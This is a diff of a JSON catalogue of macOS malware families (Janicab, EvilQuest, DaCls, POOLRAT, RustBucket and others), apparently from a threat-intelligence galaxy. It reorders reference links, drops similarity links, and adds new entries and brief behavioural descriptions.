"https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat", - "https://objective-see.com/blog/blog_0x2A.html", - "https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf" + "https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf", + "https://objective-see.com/blog/blog_0x2A.html" ], "synonyms": [], "type": [] @@ -8354,15 +8852,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5bc62523-dc80-46b4-b5cb-9caf44c11552", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "74360d1e-8f85-44d1-8ce7-e76afb652142", "value": "CpuMeaner" }, @@ -8371,9 +8860,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater", + "https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/", "https://digitasecurity.com/blog/2018/02/05/creativeupdater/", - "https://objective-see.com/blog/blog_0x29.html", - "https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/" + "https://objective-see.com/blog/blog_0x29.html" ], "synonyms": [], "type": [] @@ -8386,9 +8875,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis", - "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines", "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?", - "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html" + "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html", + "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines" ], "synonyms": [], "type": [] @@ -8414,17 +8903,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dacls", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://objective-see.com/blog/blog_0x57.html", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability", - "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", - "https://www.sygnia.co/mata-framework", - "https://objective-see.com/blog/blog_0x5F.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability", + "https://www.sygnia.co/mata-framework", + "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", + "https://objective-see.com/blog/blog_0x5F.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", - "https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/" + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" ], "synonyms": [], "type": [] @@ -8442,15 +8931,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "34688253-fea5-4770-bf96-55f45077c347", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a8e71805-014d-4998-b21e-3125da800124", "value": "DarthMiner" }, @@ -8473,8 +8953,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster", - "http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html", - "https://www.f-secure.com/weblog/archives/00002466.html" + "https://www.f-secure.com/weblog/archives/00002466.html", + "http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html" ], "synonyms": [], "type": [] @@ -8528,8 +9008,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilosx", - "https://twitter.com/JohnLaTwC/status/966139336436498432", - "https://github.com/Marten4n6/EvilOSX" + "https://github.com/Marten4n6/EvilOSX", + "https://twitter.com/JohnLaTwC/status/966139336436498432" ], "synonyms": [], "type": [] @@ -8538,20 +9018,20 @@ "value": "EvilOSX" }, { - "description": "", + "description": "According to PcRisk, EvilQuest (also known as ThiefQuest) is like many other malicious programs of this type - it encrypts files and creates a ransom message. In most cases, this type of malware modifies the names of encrypted files by appending certain extensions, however, this ransomware leaves them unchanged.\r\n\r\nIt drops the \"READ_ME_NOW.txt\" in each folder that contains encrypted data and displays another ransom message in a pop-up window. Additionally, this malware is capable of detecting if certain files are stored on the computer, operates as a keylogger, and receives commands from a Command & Control server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilquest", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://objective-see.com/blog/blog_0x59.html", - "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", - "https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/", - "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/", - "https://objective-see.com/blog/blog_0x5F.html", - "https://github.com/gdbinit/evilquest_deobfuscator", "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://twitter.com/dineshdina04/status/1277668001538433025", - "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/" + "https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/", + "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", + "https://objective-see.com/blog/blog_0x59.html", + "https://github.com/gdbinit/evilquest_deobfuscator", + "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/", + "https://objective-see.com/blog/blog_0x5F.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/" ], "synonyms": [ "ThiefQuest" @@ -8579,12 +9059,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.finfisher", + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", "https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/", + "https://objective-see.com/blog/blog_0x4F.html", "https://securelist.com/finspy-unseen-findings/104322/", - "https://objective-see.com/blog/blog_0x5F.html", - "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", - "https://objective-see.com/blog/blog_0x4F.html" + "https://objective-see.com/blog/blog_0x5F.html" ], "synonyms": [], "type": [] @@ -8597,11 +9077,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", "http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html", "https://en.wikipedia.org/wiki/Flashback_(Trojan)", - "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities" + "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html" ], "synonyms": [ "FakeFlash" @@ -8616,27 +9096,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly", - "https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/", - "https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/", - "https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html", "https://objectivebythesea.com/v3/talks/OBTS_v3_tReed.pdf", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/" + "https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/", + "https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html", + "https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/", + "https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" ], "synonyms": [ "Quimitchin" ], "type": [] }, - "related": [ - { - "dest-uuid": "6a6525b9-4656-4973-ab45-588592395d0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a517cdd1-6c82-4b29-bdd2-87e281227597", "value": "FruitFly" }, @@ -8645,8 +9116,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick", - "https://cybersecuritynews.com/gimmick-malware-attacks/", - "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/" + "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/", + "https://cybersecuritynews.com/gimmick-malware-attacks/" ], "synonyms": [], "type": [] @@ -8659,8 +9130,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gmera", - "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/", "https://blog.trendmicro.com/trendlabs-security-intelligence/mac-malware-that-spoofs-trading-app-steals-user-information-uploads-it-to-website/", + "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/", "https://objective-see.com/blog/blog_0x53.html" ], "synonyms": [ @@ -8706,33 +9177,38 @@ "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab", - "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html", - "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", - "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", - "https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/", - "https://archive.f-secure.com/weblog/archives/00002576.html", - "https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/", - "https://www.macmark.de/blog/osx_blog_2013-08-a.php", - "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", - "https://www.malwarology.com/posts/5-janicab-part_1/" + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.interception", + "https://labs.k7computing.com/index.php/lazarus-apts-operation-interception-uses-signed-binary/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d4f7ea92-04e7-405c-9faf-7993ffd5c473", + "value": "Interception (OS X)" + }, + { + "description": "According to Patrick Wardle, this malware persists a python script as a cron job. \r\nSteps: \r\n1. Python installer first saves any existing cron jobs into a temporary file named '/tmp/dump'. \r\n2. Appends its new job to this file.\r\n3. Once the new cron job has been added 'python (~/.t/runner.pyc)' runs every minute.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab", + "https://www.malwarology.com/posts/5-janicab-part_1/", + "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", + "https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/", + "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", + "https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/", + "https://archive.f-secure.com/weblog/archives/00002576.html", + "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", + "https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/", + "https://www.macmark.de/blog/osx_blog_2013-08-a.php", + "https://securelist.com/deathstalker-mercenary-triumvirate/98177/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "c3c20c4b-e12a-42e5-960a-eea4644014f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "01325d85-297f-40d5-b829-df9bd996af5a", - "value": "Janicab" + "value": "Janicab (OS X)" }, { "description": "", @@ -8754,10 +9230,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap", - "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://objective-see.com/blog/blog_0x16.html", "https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/", - "https://github.com/eset/malware-ioc/tree/master/keydnap" + "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://github.com/eset/malware-ioc/tree/master/keydnap", + "https://objective-see.com/blog/blog_0x16.html" ], "synonyms": [], "type": [] @@ -8785,10 +9261,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", - "http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", "https://objective-see.com/blog/blog_0x16.html", + "http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "https://blog.malwarebytes.com/threat-analysis/2016/09/komplex-mac-backdoor-answers-old-questions/" ], "synonyms": [ @@ -8857,6 +9333,20 @@ "uuid": "15daa766-f721-4fd5-95fb-153f5361fb87", "value": "Leverage" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.lockbit", + "https://twitter.com/malwrhunterteam/status/1647384505550876675", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0821b5c8-db48-4d0e-a969-384dbd74a6c9", + "value": "LockBit (OS X)" + }, { "description": "", "meta": { @@ -8868,15 +9358,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "14f08f6f-7f58-48a8-8469-472244ffb571", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "910d3c78-1a9e-4600-a3ea-4aa5563f0f13", "value": "MacDownloader" }, @@ -8951,9 +9432,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.manuscrypt", - "https://twitter.com/BitsOfBinary/status/1321488299932983296", - "https://www.anquanke.com/post/id/223817", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.anquanke.com/post/id/223817", + "https://twitter.com/BitsOfBinary/status/1321488299932983296", "https://twitter.com/BitsOfBinary/status/1337330286787518464" ], "synonyms": [], @@ -8967,8 +9448,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.mokes", - "https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/", "https://objective-see.com/blog/blog_0x16.html", + "https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/", "https://objective-see.com/blog/blog_0x53.html" ], "synonyms": [], @@ -8987,34 +9468,25 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "4e2f0af2-6d2d-4a49-adc9-fae3745fcb72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "aa1bf4e5-9c44-42a2-84e5-7526e4349405", "value": "Mughthesec" }, { - "description": "", + "description": "According to PcRisk, Research shows that the OceanLotus 'backdoor' targets MacOS computers. Cyber criminals behind this backdoor have already used this malware to attack human rights and media organizations, some research institutes, and maritime construction companies.\r\n\r\nThe OceanLotus backdoor is distributed via a fake Adobe Flash Player installer and a malicious Word document (it is likely that threat authors distribute the document via malspam emails).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus", - "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", - "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", - "https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/", - "https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C3%B3-%C4%91%C4%83ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1-c%C5%A9ng-c%C3%B3-v%C3%A0i-b%E1%BA%A1n-nhi%E1%BB%87t-t%C3%ACnh-g%E1%BB%ADi-cho-537b19ee3468", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://labs.sentinelone.com/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/" + "https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/", + "https://labs.sentinelone.com/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/", + "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", + "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", + "https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C3%B3-%C4%91%C4%83ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1-c%C5%A9ng-c%C3%B3-v%C3%A0i-b%E1%BA%A1n-nhi%E1%BB%87t-t%C3%ACnh-g%E1%BB%ADi-cho-537b19ee3468", + "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html" ], "synonyms": [], "type": [] @@ -9041,10 +9513,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.orat", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", "https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf" + "https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf" ], "synonyms": [], "type": [] @@ -9100,10 +9572,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit", "http://www.zdnet.com/article/maker-of-sneaky-mac-adware-sends-security-researcher-cease-and-desist-letter/", - "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "https://forensicitguy.github.io/analyzing-pirrit-adware-installer/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf" + "https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf", + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [], "type": [] @@ -9111,20 +9583,34 @@ "uuid": "b749ff3a-df68-4b38-91f1-649864eae52c", "value": "Pirrit" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.poolrat", + "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise", + "https://www.3cx.com/blog/news/mandiant-security-update2/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bfd9e30e-ddc7-426f-8f77-4d2e1a846541", + "value": "POOLRAT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat", - "https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/", - "https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does", - "https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/", - "https://securelist.com/calisto-trojan-for-macos/86543/", - "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", "https://objective-see.com/blog/blog_0x1F.html", - "https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/", + "https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does", + "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", + "https://securelist.com/calisto-trojan-for-macos/86543/", + "https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/", + "https://objective-see.com/blog/blog_0x1D.html", "https://www.cybersixgill.com/wp-content/uploads/2017/02/02072017%20-%20Proton%20-%20A%20New%20MAC%20OS%20RAT%20-%20Sixgill%20Threat%20Report.pdf", - "https://objective-see.com/blog/blog_0x1D.html" + "https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/", + "https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/" ], "synonyms": [ "Calisto" @@ -9144,15 +9630,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "29e52693-b325-4c14-93de-8f2ff9dca8bf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "70059ec2-9315-4af7-b65b-2ec35676a7bb", "value": "Pwnet" }, @@ -9162,9 +9639,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe", "https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/", + "http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/", "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe", - "https://www.govcert.admin.ch/blog/33/the-retefe-saga", - "http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/" + "https://www.govcert.admin.ch/blog/33/the-retefe-saga" ], "synonyms": [ "Retefe" @@ -9174,20 +9651,34 @@ "uuid": "80acc956-d418-42e3-bddf-078695a01289", "value": "Dok" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.rustbucket", + "https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "03f356e6-296f-4195-bed0-9719a84887db", + "value": "RustBucket" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.shlayer", - "https://objective-see.com/blog/blog_0x64.html", - "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/", - "https://securelist.com/shlayer-for-macos/95724/", - "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/", - "https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities" + "https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508", + "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://objective-see.com/blog/blog_0x64.html", + "https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/", + "https://securelist.com/shlayer-for-macos/95724/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/" ], "synonyms": [], "type": [] @@ -9200,8 +9691,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow", - "https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf" + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis" ], "synonyms": [], "type": [] @@ -9214,10 +9705,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.sysjoker", - "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", - "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/", + "https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/", "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html", - "https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/" + "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", + "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/" ], "synonyms": [], "type": [] @@ -9230,9 +9721,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd", - "https://securelist.com/windealer-dealing-on-the-side/105946/", "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf", - "https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en" + "https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en", + "https://securelist.com/windealer-dealing-on-the-side/105946/" ], "synonyms": [ "Demsty", @@ -9275,10 +9766,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.update_agent", - "https://twitter.com/sysopfb/status/1532442456343691273", + "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", "https://www.jamf.com/blog/updateagent-adapts-again/", "https://www.esentire.com/blog/updateagent-macos-malware", - "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/" + "https://twitter.com/sysopfb/status/1532442456343691273" ], "synonyms": [], "type": [] @@ -9306,8 +9797,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.vigram", "https://twitter.com/ConfiantIntel/status/1351559054565535745", - "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/", - "https://twitter.com/MsftSecIntel/status/1451279679059488773" + "https://twitter.com/MsftSecIntel/status/1451279679059488773", + "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/" ], "synonyms": [ "WizardUpdate" @@ -9336,13 +9827,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail", - "https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf", - 